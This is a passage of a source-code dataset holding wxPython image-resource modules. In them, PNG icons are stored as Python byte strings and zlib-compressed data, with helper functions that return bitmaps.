0\\r{\\x8f\\x14\\x12\\xb5\\x87\\xd8\\xb3}\\xe3\\xf8W\\xf7\\xd5\\x8e\\xcf\\x9b\\xa7\\xc5\\xae\\\n\\xfc\\xfbfd\\xcb\\xe7\\xdbL`3\\xf0\\x87{\\x01\\xb0rc\\x19\\xe1gw\\x93\\xafi8\\xa7\\x1a\\x9e,\\xef\\x8f\\\n\\xc0_\\xae@b\\x0c\\xd6\\xafv\\xf2\\xf4\\x0b\\x05D\\xed!\\xaew\\xbf\\xc2B\\xbd\\x88\\xdb##\\xf8\\xfc\\r\\\n\\x00\\x07\\x81\\xb6\\x0f\\x04\\xa0r\\r\\xe3\\xa6\\x8f\\xe4\\x9e\\x8d\\xe4;\\x1c\\x08!f\\x07p\\xee2|\\xaa\\\n\\x14\\x9c.\\x88\\xc7\\xc1\\x99\\x0f\\xd7n\\xeb\\x1c\\xbb\\xe8\\xa5\\xe5+;\\xa8./\\xa3\\xdf\\xb2x\\xb7\\\n\\xe7_\\xd4\\xd4\\x7f?\\x04TM\\xddc\\x9a\\x7f+\\xefCT\\x9bs\\x1b\\xbfz\\x03~z\\x1a\\x8a\\xe7\\x83p\\x80\\\n\\xe6\\x06C\\x87\\xf9\\x05\\xf0\\x89\\xfbm\\xda\\xb7\\xbd\\xc3gv~\\x87`\\xe8m\\xbc\\x86\\xc1\\x1a\\xf3A\\\n\\xc2\\xa7\\x0fW\\xd6\\x98\\xc8\\xbb\\x02\\xb0c\\xe0\\xce\\x03)\\xd5o&y\\xeb\\x1al}\\x0c\\x96\\x190\\xaf\\\n`f\\x9d\\x1a\\x13\\xea\\x1aZ\\t\\xbd\\x19\\xc6k\\x18\\x18%\\x1e\\xbe\\x11\\x080\\x15\\x84s\\xf2\\xcb\\xaa\\\n\\xfb\\x90;\\xd6#|\\x1fC\\xb8\\\\\\n@&\\n\\x89$<\\xfa5\\xb8u\\x07\\x9e\\xa9\\x00-\\x0f\\x16,\\x98\\xfdx\\x9e\\\n\\xf4\\xc3\\xf5\\x018p$DU\\xe5\\x13\\x98\\xbe\\xa5\\x88\\x02\\x8d5\\xa5&\\xb7\\xfa\\xce\\x06z\\x07i\\x05pM^T\\\n\\xb1\\x1a\\xca\\x1e\\x80\\xfc\\xbc)Q\\x19\\x81\\x17O\\xc2\\x1bm\\x8a\\x8a.\\xd7\\xec\\x9e\\x03\\xc8\\xb8\\xca\\\n\\xae\\xe7v\\xa6\\xf3\\xaa\\xae\\x19\\x19\\xe9\\xe2\\xec\\x990\\xe1\\x7f\\xf4s\\xaag\\x86#x\\xe6\\xd3\\xc8\\xe5\\\n\\xc50\\xcf\\x9d\\xceN1A\\xbdC\\x9d\\xb0c-\\x8c\\xa7\\xd4y\\x17hw).\\x1a\\x087\\xfc\\xee-\\xb0\\x13j\\xee\\x97\\\n\\x9d!\\xaa*L\\x1a\\xf7\\xd7\\xd2\\xd9\\xde\\x88\"\\xf7\\xa4\\x08\\xdc\\xf8/|\\xa1Z%\\x95\\x10*\\xfc\\xf6\\x1d\\\n\\xa8\\x0c@(\\x00yy\\xca\\xb8\\xd39\\xb7\\xf1_\\x9c\\x81\\x01\\x1b\\x12\\xa3p`+l]\\x07-\\x1dP$,\\x84t\\xe0\\\n5t(\\xf7g\\xf5\\xb3\\x00\\x16\\xce\\x87\"\\rR)H\\x8e\\xc3\\xf3A\\x05\"\\xf8Me\\xd8\\xe5\\x9an\\xfc\\xf2ux\\xf5\\\n\\x1c\\xfc\\xfe\\x12|{+\\xdc\\xbf\\x18\\xf6TM\\x07\\xf5\\x83\\x06\\xf07u\\xd0u\\xdc\\xc7\\xf2%~\"\\xef\\xf5\\\n\\xe7\\x1e\\xc1S\\x9fD.1\\x94\\x97c)\\xd8\\xdc\\x06\\x8f<\\x00\\r\\x1b\\xc0(\\x84\\x94T\\x002\\xf2\\xbd\\xe3\\\n\\xe0o\\x86A\\x0b\\xea\\xab\\xe0\\xe4\\x01\\xd8Q\\x01\\xebV\\xcd\\x9e\\x135&X\\x03\\x11UjK}\\x84N\\x04\\x00\\\n\\xa4\\x0b@\\xd7`\\xd7Z\\xa5\\xfc\\xd2i\\x08~]\\x8d\\xc7Rp\\xcb\\x86\\xfd?\\x87M~\\xe5qO\\x04\\xc2\\x87\\xa1\\\nm\\x17\\x1fHd|\"\\n-\\x1d\\x1d\\xd4o\\xa9\\x03\\xc0\\xb2\\xa2\\xea\\x08\\xb6\\xaf\\xa3\\xfb\\xc4_\\xe1[\\xdb\\x95\\\nW\\xa1\\x80Z\\xb0\\xed\\xc7\\xb0\\xa1\\x0c~{A\\x19\\xfc\\xb0\\xc4\\x8aIt\\xb7\\x8e\\xb9\\xba4\\x9d\\x03)J\\x1f\\\n\\xf1*\\xe3Ue\\xf0\\xfck\\xf0\\xda\\xa5\\t\\xa3\\xdf}\\xfa\\xde<\\x15\\x9a\\x1ag\\x9e\\x99\\xb9,\\xa5\\xe36F\\\n\\x81A\\x7f\\xd4R\\x00.\\xf62\\x1cKR\\x0cp\\xe6\\xca\\x84bK\\xc7\\xc48\\xc3\\xdb\\xb9\"1\\xd9Hf,\\xa6\\xd05\\\n\\xcb\\x7fMG\\xdaV\\xf62\\x92\\x9dM\\xaa\\x96[\\xf6\\xf4g\\x7f\\x0c\\x0c\\r\\x8a\\xc6\\x0b\\xd8\\xf6\\x93\\x185\\\n\\xe6\\xc4F\\x99q\\x8d\\t\\xf9\\x1e\\x1fuknR\\xe4p1\\x94\\x1a\\x03\\xc0\\xbb8\\t\\xa8\\xf5\\xa0j\\xc2\\xa1N5\\\n\\xce\\xf7\\xf8\\xa8\\xdc\\xe0W\\x00\\xda\\xbf\\x94\\x8btE~\\x11\\xd7F\\x87X\\x91_\\x04\\xc0\\xb5\\xd1!\\x96\\\n\\xe7M\\x94\\xbe\\x1b\\xc9XV\\x07\\xc8\\xf9\\x0f\\xc0U\\x14#\\x1a\\x05\\xe1\\x9c(\\xa9\\xbf9\\x9f$\\xdf\\xe3\\\n\\xa3\\xfdp\\x00\\x1d8\\x1b\\x0e\\xf3r{;\\xe2`\\x89_z\\xa4N\\xd3\\xe0\\xd9Y\\xbd{\\xee)\\x03\\xcb\\x82~\\xc70\\\n\\xe6\\x82Bn\\x0e+\\x0fo\\x8f\\'X\\xe4tgAf@-\\xcf+\\xe0F2\\x96\\x03\\xec\\x957b\\xbcz\\xa23\\x1b\\x11[\\x18\\\n\\xec\\xae\\xadB\\xd4\\x98\\xc8\\xea\\x9e\\xda9\\xd2\\xcb\\x06C\\x82\\x14\\xfc\\xc9\\x17\\xca=\\xcb\\xb4t|Yy\\xba\\\n\\xc8\\xe9\\xce\\x015\\x19\\xd8\\xd1sC\\xfc\\xea\\xd7\\x1d\\xe8n=\\xdd\\x85\\x18|\\xb6\\xb6*\\xf72\\x9aYtP\\\n\\xf9B\\x06h\\xf5\\x14\\x8d\\xe8\\xd1t\\x98\\xcd`\\x1a`r\\x8a\\xc6\\x10\\x8d\\x9b\\xbd\\xe8\\x9a\\x91\\xbe\\xe7\\\n\\xc1\\xb2U5t=\\xdeS\\xf9\\xa1q|6\\x80\\x00\\x11\\xad\\x07;f\\x81\\x00\\xdd\\xadcgJ\\xf1\\xdf\\xcc\\x10\\xff\\\n\\x17\\x91\\x12\\x12i\\xe3\\x899:\\xa2\\x8fL2\\x9d\\x8d\\x00\\x19Sg\\xba\\xf2a\\x13\\xd7C%\\xd0\\xdc\\x13\\xcc\\\n\\xea5\\xd6\\x1a\\xbc\\x10\\xb4\\xb2L\\xc8\\xf6\\x8a\\x1e\\x13]\\x02\\x11\\x03\\x12 \\xe2\"\\xfd\\xa1\\x00z\\\\\\xbf\\\n\\xab}\\xa3\\xc4\\x0f\\x9a\\x9e\\x05\\x11\\xe9\\x8b\\xf0\\xcf\\xab=\\xb8z\\x07 t\\xa2\\t\\xdf*?\\x08\\x1d\\x19\\\n\\xb7in5 n!cQ\\xfa\\xe3@\\xdc\\xa6+\\x18\\xa2\\xfb\\xed\\x10\\xa7\\xd27i\\xe3f\\x83\\xde\\xf7\\xac,#\\x1a7\\x01\\\n\\xb6\\x17OL\\xa8Nc\\xd0@\\xc4\\x0c\\x10\\x12\\xdd2\\xf0\\xe9\\x11\\xf4L\\x85t\\x8b\\xdc~\\xc0\\xb7Z5\\x08^#\\x9d\\\n\\xf5\\xc8\\xf4S\\xc7\\x13\\x07\\xa4\\x8d\\xe9k\\xc0\\xa2\\x11\\xa1\\xa9\\xc5r \\x82\\xc7\\xe7#jI\\xec\\xb8M\\xcb\\\n\\xfe\\x06\\xa0?\\x87\\xa6M\\xf5&\\xed\\xc7\\xd2/?\\x82\\xba]6\\xc2\\xadcM\\xca\\x01\\x97bd\\x86i\\x82~\\xcbJ\\x83\\\n\\xd1A\\x82\\x8e\\x8d\\r\\x18\\x1e\\x1dCf;)\\xf0y\\xb1\\xe3Q|\\x05\\x02[\\x83\\xd7\\x83]\\x10\\xb7\\xc0\\xadc\\'l\\x88\\\n\\xa9\\x8e6\\xd0\\xac\\x12P\\xa2\\xda4\\xb2\\xf9?\\t\\xc0\\xee\\xfa\\x86\\xe9\\xdf\\x87k+\\xe9\\xbe\\x10b_\\xf3A\\x0c\\\n\\xc3\\xc0W\"A\\x9b\\x08\\x9d\\xd7\\xd0\\xb1\\x12\\x02]7 aa\\xc7-\\xf4t\\xbd\\xd7\\xdd:\\xcc\\xd07\\xdaq\\xb0\\xe2\\\n\\n@t0:\\xfb\\xc7\\xe9d\\t_\\xe8\\x92\\x9d\\x1d\\x01\\xba\\xdf\\x0cO\\x07Y\\xee\\x9fq~\\xb2<^YK\\xc3\\xde-\\xb9{^\\\n\\xed\\xe3\\xe5\\x1f\\xb6r\\xaa\\x07!>J\\xe6u\\xfc, \\xfb\\xfe\\xdeG\\xf7\\x99c\\xd3\\x80\\xb7\\xbe\\x14\\x16\\x00\\\n\\xff\\x03\\x07\\x06\\x80\\xbbd\\xd4\\xb0\\x14\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82'\n elif shellName=='SymPySlices':\n return \\\n'\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00 \\x00\\x00\\x00 \\x08\\x06\\x00\\\n\\x00\\x00szz\\xf4\\x00\\x00\\x00\\x01sRGB\\x00\\xae\\xce\\x1c\\xe9\\x00\\x00\\x00\\x06bKGD\\\n\\x00\\xff\\x00\\xff\\x00\\xff\\xa0\\xbd\\xa7\\x93\\x00\\x00\\x00\\tpHYs\\x00\\x00\\x0b\\x13\\x00\\\n\\x00\\x0b\\x13\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07tIME\\x07\\xd9\\n\\x10\\x10\\x0c\\\n\\x119od\\xf7\\x00\\x00\\x07\\xa2IDATX\\xc3\\xb5\\x97{PT\\xd7\\x1d\\xc7?wY\\x96\\xbb\\xb0\\xcb\\\n\\xbd\\x08\\x08\\xa8\\x19V\\x05\\xe2\\xab\\xd95\\xc1\\x88\\xa2\\x03\\x98\\xf1\\x11\\'-\\xda\\x98h\\\n\\x92\\xa9b\\x1fN:mG\\xb0\\xb13\\xd5v\\x80\\xc4\\xa9m\\x98\\x04\\x8cQcfj \\xcdL\\x9c\\xfc\\\n\\x03$\\xea\\x18k\\'\\xc4\\x91\\xa8\\xa5Iv\\x93\\xf8H\\xa0e7\\xf1\\x01\\xa3v\\xef\\x85\\x95\\xbd\\\n\\xeb\\n\\xb7\\x7f\\xdc\\xdd\\x85\\xe5\\xa1If\\xfa\\x9b\\xb9s~\\xf7\\xbc~\\xdfs~\\xdf\\xf3;\\xbf\\\n#0\\xbe\\xe4LM\\xe7\\xea\\xbe_\\x80\\x9cb\"<\\xa8\\xa3\\x04\\x05>\\xf3\\x99)\\x9b;\\xc8\\x8bG\\\n\\xd3\\x87BB\\x06\\x9b\\xd7-!;S\\xc6\\x9c`\\x12\\xd2\\'\\xc9B\\xe9\\x86]\\x00\\x14\\x17\\xce\\xde\\\n\\x7f\\xb2\\xdd\\xb3O\\xd3n_\\xe0\\x1e\"\\x8cW\\xb9`&\\xb7\\x8a\\n\\xf0\\xffh!\\x93\\xe5\\x14\\x12\\\nM&H0\\x81\\x0e\\x84\\xc2\\x02b\\xa2\\xce\\x91\\x8f\\x13i\\xef\\xb4\\xa1\\xde\\x96\\xf5\\x95K\\xf2\\\n\\xf4y\\xf9\\xd9\\xe4L\\xcd\\x1bRn\\x85\\xf5\\xb7[\\xdb\\x87ZO\\x9c3\\xf5\\xf5\\x0f\\x94\\x00g\\\n\\xbe+\\x00\\xc7\\x96G\\xf8\\xa2\\xbc\\x88\\x84\\xec4D\\xc1\\x04\\xe8`2\\xc5w\\xba}\\x07\\x06\\x87\\\n\\x04zU\\xd8\\xbc/\\x05\\xbf\\x1a`\\xe3\\x13\\xcb\\x06\\xb7m)\\x1fLN\\x16\\x83\\xe7\\xffs\\xc5\\\n\\xbb\\xf6\\'\\xcf;\\x81U\\xc0\\xfb\\xdf\\x05@\\xc1\\xb2\\xb9\\xb8w=\\x8dE\\x14I\\x18mx\\xa4\\xf4\\\n\\x0f\\xc0\\xe9\\xf3\\x10\\xba\\x03\\xc5\\xb3\\x12xr\\x8f\\x15\\xbf\\x1a\\xe0\\xeb\\x8eCL\\x92l\\xdc\\\n\\x18\\x18\\xc0\\xe1\\xaa\\x00\\xa8\\x06\\x9e\\xffV\\x00J\\xe70\\xe8t\\x10\\xde\\xb8\\x0c\\x8b\\xc9\\\n\\x84 \\x08\\x13\\x038\\xf5\\x05<4\\x1d\\x12\\xcc\\xa0i\\x90`\\x81\\xae\\x1b\\x12M\\xe7r\\xd9\\xf1\\\n\\x9b\\xf5,/\\x9a\\x8bOQ\\xb8\\xe0\\xf97\\xab7\\xbd\\xd0\\x06\\x94\\x8d\\x9ec\\xcc\\xfa\\n\\xa6 ,w\\\n\\xde\\xdd\\xf8\\xc5\\xcbp\\xe08\\xa4\\xdbA0\\x81\\x98\\x04\\xb2\\x04v+\\xcc\\xbfO\\xa5a\\xddg\\xac\\\n\\xd8\\xb0\\x93\\xd6\\xb6O\\xc9\\x95e\\xe68g\\xe2>^_\\xba\\xda\\x89~O\\x00j\\x10\\x92\\x12A\\xd7\\\n\\x8do<\\xf9\\xa4\\x0b\\x1e_\\x00SeH\\xb6\\x8e\\xdfg\\xb5\\x13\\xd6T\\xd4\\xd2v\\xd6M\\xae,#g\\xa7\\\n\\xf1\\xbb\\x9a\\x1aF\\x83H\\x18\\xf9s\\xff\\x14\\xf4\\xf5\\xc5\\x08\\x8e,\\x04\\xb3\\xd9\\x00\\x10\\\n\\xdd\\x85P\\x18\\n\\x9f\\x83\\xeb}\\xf0\\xcc\\x12\\x10\\x13!5ub\\xf7<\\xe2\\x82\\xaf{\\xe0\\x0f\\xfb\\\n\\xda(+]\\x88\\xd3\\x91\\x83`\\x15\\x993\\xdd\\xc9\\xf5\\xee\\x0fk:{\\xa9\\x1d\\xc3\\x81\\x9f-C\\xdf\\\nX\\x06\\xf6d\\xc3\\xb0\\x1ea\\xff\\x81\\xe3p\\xf0}\\xbe\\x97d\\xda\\xe1z?\\xe8\\xde\\x16\\xdeln\\xc3\\\n\\xfd\\xa5\\x8f\\xfa\\xd7\\x9ac\\xb6c.xf)\\xfa\\xb4tHN\\x8a\\xb0S0\\x8c\\xff\\xf5\\xe4\\xf77\\x0e\\\n\\x90\\x96S\\xc0\\x91#Gx\\xab\\xb9\\x8d\\xb2%N\\xb6>[Ns\\xc3V\\x8c\\xc3=\\x02\\xc0\\xe5\\x9bP\\xfa\\\n\\x03\\x83T\\xd1\\xd5+*\\xec=:\\xf1\\xe4\\xc9\\xc9\\xc9$\\'\\'#\\x8ab\\xbc\\xd1\\xb44222\\xc8\\xcc\\\n\\xcc\\xa4\\xae\\xae\\x0e\\xd7\\xbc|l\\x82\\x82\\xa0\\x9b\\xc8\\x95e\\xe6\\x17\\xb9b}\\xcdQe\\x92\\x1d\\\nl\"\\x0c\\rAx\\x10^j\\x85\\xf6\\x8bF\\x9b\\x1eac \\x10\\xc0n\\xb7\\xc7\\xd5i\\xda\\x00CC\\x90\\x92\\\n\\x92\\x02@__\\x1fv\\xbb\\x9d;\\x9a\\x1f\\xf4A\\xd0u\\xbe9\\xf9s\\xd6V\\xbeK\\xcb\\xdb\\x0e\\xa6Mv\\\n\\xe1\\xbd\\xe6\\x8b\\x07\\xf0\\xe8\\x83\\xe8\\x93eHL\\x84\\x81\\x10<\\xfa\\x02\\xfc\\xf6\\x87p\\xe6\\\n\\x12\\xdc\\xf8\\xf2]\\x00<\\r\\x02\\xdd\\xbd\\xf1;\\xf0\\xf2O\\x05\\xa6\\xa6\\x1b\\xc0\\xa3b\\xb7\\xdb\\\n\\xf9|_*C\\xe1\\xfeX\\x9d\\xae\\x19\\xa7B\\xe9\\xf1\\x02.\\x1c\\xd3\\x1d\\xb4\\x1d\\xae\\xa1tC\\x8dn\\\n\\x06\\x90Dxj\\x91\\xd1\\xf9\\xe0qh\\xddn\\xe8\\x8b\\x0b\\xc0\"\\x17\\x90)\\t\\xactA\\xfb\\xa5QL\\x7f\\\n`|\\xd7\\x8c6\\x0e\\xf0\\xa7\\n\\xd8\\xd1\\xd8\\xc8\\xa6\\xb5k\\x00P\\x14\\xbf\\x11\\x07\\x9eXL\\xc7\\\n\\xe1\\x8f\\x8c@\\xe2\\xaa\\x82\\xcd\\xa5\\xc6\\x80u/\\xc3\\x81\\xbfCj\\xd6,N\\xd6\\xc2\\xf6\\xb5\\xb0\\\nn\\xf1\\xf8\\x06\\xff\\xdb\\xff\\xedI\\xa9\\x04u\\xa4$\\t\\xe7\\xac\\xe9\\x11\\x17\\x0c1\\xfd\\x81\\\\\\\n\\xc3x\\xd9\\\\x\\xe9=x\\xefcp\\xd7\\x1b\\x03\\xfe\\xf8\\xe4\\xf0\\xe0\\xce\\xabF\\x99\\x95\\x95\\x157\\\n\\xa9\\xefz\\xbc\\x11]\\x03A\\x1c^\\xbd0\\xc2E\\xaa\\xa6\"[e|~\\xc5\\x00p\\xae\\x93[\\xc10\\xe9\\x00\\\n\\x1f\\x9c\\x1f\\xee\\xb8\\xa3qX?\\xe61\\xca\\xfc\\x1c\\xa3,,,$|k\\x98\\x10\\xa3\\xb9\\x115(\\xc4\\\n\\x1f\\x8e\\xd8<\\x88\\x12\\xba\\xaa\\xc4.#\\xbd\\xb9\\xd2p\\x81\\xa2\\x8e-}A\\x90E\\xb0\\rZY\\xf7j\\\n\\x10\\x80\\xba\\xba:f\\xcf\\x9e\\xcd\\xfe\\x9d\\x8fq\\xcc\\x03yY\\xd0\\xd5;|b\\x9a~e\\x01 73\\x0c\\\n\\x18\\xe3\\x01\\xd4\\x10\\xbc\\xd8l\\xe8\\x964\\x07\\xa5%.\\xe3\\x14\\xf8\\x82\\xc6\\x17\\xd5\\xf3,6\\\n<=\\x01\\xf2,6\\xf2,\\xd0\\xa5\\x05\\xb0%\\x0e\\xaf\\xa4\\xa4\\xa4\\x04\\xdb\\x95\\x16V\\x14\\xc1\\x8a\\\n\"8y6\\x81\\xae\\xdeA\\xa6M\\x9bf\\x18L\\r\\xe3\\xf7\\x83\\xef\\xba1\\xc8\\x07\\xbc\\xd3\\x1e\\xc6\\x92\\\n\\xe6`\\x7fc\\r\\x12\\xf0\\xa1\\xdb\\xcd\\xeb\\r\\r\\x98\\xaa\\xb3]\\xd0RB\\xe5A8q\\x16*\\x0f\\xc2c{\\\n\\x03\\x9c8k\\x94\\xfbO\\x05(I\\x93\\t\\xde0\\x0fgL\\x0b\\x16p\\xb3\\xeb4rB\"y\\x16\\x9b\\x912\\x01\\\n\\xaa\\xaa\\xd2\\xef\\xbf\\xcc\\x9d\\x80\\x15\\x15\\xb0\\x99\\xcc\\xb1\\x0f\\xe0\\x8d\\x03\\xf5H\\xa2\\\n\\x84,K\\x94\\x96\\x95\\x1b\\x1c\\xe8\\xc8r\\xb3\\xdcSN=\\xe5\\xe0\\x81\\xe5Q+Q\\xdd\\xa3\\xd2\\xe6\\\n\\xd3\\xd9\\xd5w.\\xce\\x9fK\\xb7\\x9f\\x8aha\\xd6/2\\x00\\xf4\\xf7\\xf7#Z%D!\\x81<\\x8b\\x8d\\x81\\\n\\xdb:\\xa7\\xae\\xdeb\\x95\\xc3\\x16\\t\\xef*R\\x92\\x04\\x02H\\xa3#\\xe1\\xc4\"\\xe1V\\xaep\\x13-\\xae\\\n\\xb6\\x9e\\xf2\\x98~\\xfeL\\x0f`\\x00\\xdc\\xfdb=\\xd5{\\x03\\xb16Q\\x14\\xf9|\\xe1C\\xb8r\\xbcH\\xa2\\\n\\x1c\\xb9\\xe7AQ\\x8dhhz\\xd8SzO\\x08M\\xfc+\\xa6\\x17\\x17\\x17\\x8fi\\xcf\\'#\\xa6WWW\\xc7\\xb5}\\\n\\xd3q\\x89\\x9d3\\x1f\\x07Q@\\r*\\xa8!\\xd5pW4!\\xf9\\xa7\\xb3\\xed\\xae\\xc6\\xaf\\xd1\\x17\\xf7\\xbf\\\n{\\xf7n\\xaeF/\\x89\\x88X&\\xd8\\xc8\\xbc\\xbc<2\\xe6\\xe5r\\xfe\\xd0?\\x8c\\x95\\x87@J\\x92PCw\\xc9\\\n\\x88\\xc6<\\x10H\\x8d\\xdb\\xce\\xa5K\\x97r\\xfa\\xf7\\x7f\\x1b\\xd3o\\x1b%q\\xffV\\xab\\x95\\xce\\xce\\\nN\\x94\\xaek\\xc3\\xf7{\\xe4\\xe0\\xebA#\\x06\\x14\\xccvb\\xce\\xcf\\x86*Okl\\xe0\\xd6r\\x99=\\xadJ,\\\n\\xad\\x02X\\r\\xecz\\xe3\\x13\\xe6\\xcf\\x9fOX\\x0bq\\xa1\\xf3#\\x04Y\\x88<\\x14@\\xd2$\\xeeC\\xe6\\xad\\\n\\x07\\xab\\xc8\\xdd\\xf3cf\\xcc\\x98\\xc1\\x94)S\\xb8\\x13\\x0c\\xd1\\x98\\xffK\\xe3hf\\xbb@\\x94b \\\n\\xbc\\xdd^\\xbe\\xba\\xe8\\xc1\\xdc\\xd9\\x03m\\x87+q\\xdc\\xef\\x02AB\\xd7T\\xaaje\\xd0\\x14\\xf4\\xa0\\\n\\x1f\\x9f\\x06h*o\\xbe\\xb2\\x8dC\\x03*\\xaf\\xbe\\xf3\\xa9\\x01t\\x95L\\xe75%\\x16\\xdd\\xb6\\xae\\x04\\\n\\xaf\\x9aK\\xd7\\xaf\\x9b\\xf9\\xcaU\\x88\\xdf\\xad\\x12\\xf0\\x86A\\xd6\\x91\\x14\\x19\\x87\\xe4E\\x8aF\\\n\\xc8$!\\xfe:v\\xcc2\\x12\\x84\\\\\\xd9`\\xbd\\xb14\\t\\x90H\\xd3\\x00]\\xc5\\xe9\\xa8@A\\xe2\\xb9Zc\\xb0\\\n\\xde\\xe3%\\xcd\\xe1\\xc0\\xaf\\xe8\\xa8\\x9a\\xca\\x8eg+\"!\\x07j\\x9a\\xbc\\x00Tnr\\xd2\\xd0\\x14A\\xf8\\\n\\x17X\\xf3\\x94\\x8a\\x90$\\xa1\\x8c\\xe0\\x80\\x19@\\x06\\xa2\\x91\\xd9\\xa7(\\x110\\x12\\xe8 \\xa1\\xa2\\\n\\x02r\\x9a\\x84\\xac\\xc72)p\\xe4\\xa2j~\\x1cV\\x01U\\x84\\xa3\\xad-\\xa0)\\x90$\\x19L\\x0f\\x1a\\x19\\\nmM\\x15\\xa0\\xeb\\xe8\\x80\\x904\\x92\\xff#\\x00<\\xbd\\xa9b\\xec\\xfbpQ)\\x1dg\\xda\\xd8RU\\x8d,\\xcb\\\n8\\xb2u\\x10\\x87\\xb7.W\\x96PB\\x02\\x92$CHA\\xd5\\x14\\xa4H\\xbc\\x97\\x92$\\x10\\xc7\\x12Z\\xd5@\\xd1\\\n\\x0c\\x00\\xfe^\\xff\\xc4\\x8f\\xd3\\x91\\xe2>\\xd3\\xa277\\xd6\\xd0q\\xd6=\\x16d\\x91k\\xdc\\xfa\\x91\\\n\\xf2pi9\\x15\\x9b\\xd7\\xc6\\xcfy\\xb1\\x9b\\xd7\\xff\\\\\\xcb1\\x0f\\x82\\xc0\\xffQ\\x1a_\\xab\\xd1\\xbb\\\n/u\\xd3\\xf1A\\xd3\\x18\\xe0\\xb5\\x07\\xdd\\x02\\xc0\\xff\\x00+\\xe4\\xca\\x93\\x95`\\xa8\\xfa\\x00\\x00\\\n\\x00\\x00IEND\\xaeB`\\x82'\n", "id": "2321483", "language": "Python", "matching_score": 8.014509201049805, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/images.py" }, { "content": "#----------------------------------------------------------------------\n# This file was generated by /usr/local/bin/img2py\n#\nfrom wx import ImageFromStream, BitmapFromImage\nimport cStringIO, zlib\n\n\ndef getMagPlusData():\n return zlib.decompress(\n'x\\xda\\x01*\\x01\\xd5\\xfe\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x18\\\n\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0w=\\xf8\\x00\\x00\\x00\\x04sBIT\\x08\\x08\\\n\\x08\\x08|\\x08d\\x88\\x00\\x00\\x00\\xe1IDATx\\x9c\\xb5U\\xd1\\x0e\\xc4 \\x08\\xa3n\\xff\\\n\\xff\\xc5\\xdb\\xb8\\xa7\\xee<\\x04\\x86gFb\\xb2\\x88\\xb6\\x14\\x90\\x01m\\x937m\\x8f\\x1c\\\n\\xd7yh\\xe4k\\xdb\\x8e*\\x01<\\x05\\x04\\x07F\\x1cU\\x9d\"\\x19\\x14\\\\\\xe7\\xa1\\x1e\\xf07\"\\\n\\x90H+$?\\x04\\x16\\x9c\\xd1z\\x04\\x00J$m\\x06\\xdc\\xee\\x03Hku\\x13\\xd8C\\x16\\x84+\"O\\\n\\x1b\\xa2\\x07\\xca\"\\xb7\\xc6sY\\xbdD\\x926\\xf5.\\xce\\x06!\\xd2)x\\xcb^\\'\\x08S\\xe4\\\n\\xe5x&5\\xb4[A\\xb5h\\xb4j=\\x9a\\xc8\\xf8\\xecm\\xd4\\\\\\x9e\\xdf\\xbb?\\x10\\xf0P\\x06\\\n\\x12\\xed?=\\xb6a\\xd8=\\xcd\\xa2\\xc8T\\xd5U2t\\x11\\x95d\\xa3\"\\x9aQ\\x9e\\x12\\xb7M\\x19\\\nI\\x9f\\xff\\x1e\\xd8\\xa63#q\\xff\\x07U\\x8b\\xd2\\xd9\\xa7k\\xe9\\xa1U\\x94,\\xbf\\xe4\\x88\\\n\\xe4\\xf6\\xaf\\x12x$}\\x8a\\xc2Q\\xf1\\'\\x89\\xf2\\x9b\\xfbKE\\xae\\xd8\\x07+\\xd2\\xa7c\\\n\\xdf\\x0e\\xc3D\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82\\xe2ovy' )\n\ndef getMagPlusBitmap():\n return BitmapFromImage(getMagPlusImage())\n\ndef getMagPlusImage():\n stream = cStringIO.StringIO(getMagPlusData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getPointerData():\n return zlib.decompress(\n\"x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\x12 \\xcc\\xc1\\\n\\x06$\\x1f\\x94\\xdb\\xfe\\x00R,\\xc5N\\x9e!\\x1c@P\\xc3\\x91\\xd2\\x01\\xe4o\\xf5tq\\x0c\\\n\\xa9\\x98\\xb3\\xf5\\xdaE\\xa1V\\x05\\x0e\\x96\\x0bw\\xbf\\xfc\\xdf\\xbfc\\xd1\\xf4\\xd9\\x87\\\n\\xa7\\xa84Mw_n\\xa3\\xeb&\\xbcS\\xf4N\\xa9\\xdcn\\x86\\x03aZ\\x1bWl{\\xcet\\x92m\\xed\\x8a\\\n[\\xd1*\\x9c\\x82\\x91\\x93\\x9eMuP\\xd6\\xbe4\\xa3\\xa1\\xcd\\xe8\\x84\\xc0\\t%=\\x85\\xe6\\\n\\x1d\\x8d\\x1aF\\xac.\\x132\\x13\\xc4^\\x9ek\\x14\\xffx\\xc6K\\xa3\\xd1\\xcd-3\\xa8\\xa1M'\\\n\\x85\\xf3Ck\\xcb\\xb9\\x07\\xd7\\x7f\\x85\\x7f=\\xa7Ts\\xe2^\\xff\\x83\\xfb\\xf1\\x97\\x15\\\n\\x15\\x94\\xd2\\xbc/5tl\\t\\xb3\\x11\\xcc\\xe7\\x12\\xbe0;\\xfa\\xef7\\x85X\\x87\\xfc{z:S'\\\n\\x86-}\\xb6\\xe0\\xbb\\xc2\\xfc\\x03\\x7f\\xa7\\\\\\xf3\\xb5jM/fX\\xf0/\\xf7\\xe3\\xb5\\xca7\\\n\\x8f\\xe66s\\xf3\\x99\\xe7\\xf8\\x9e\\xb4(\\xfd\\t\\xf4\\x00\\x83\\xa7\\xab\\x9f\\xcb:\\xa7\\\n\\x84&\\x00\\xc7Jh8\" )\n\ndef getPointerBitmap():\n return BitmapFromImage(getPointerImage())\n\ndef getPointerImage():\n stream = cStringIO.StringIO(getPointerData())\n return ImageFromStream(stream)\n\n#----------------------------------------------------------------------\ndef getMagMinusData():\n return zlib.decompress(\n'x\\xda\\xeb\\x0c\\xf0s\\xe7\\xe5\\x92\\xe2b``\\xe0\\xf5\\xf4p\\t\\x02\\xd2\\x12 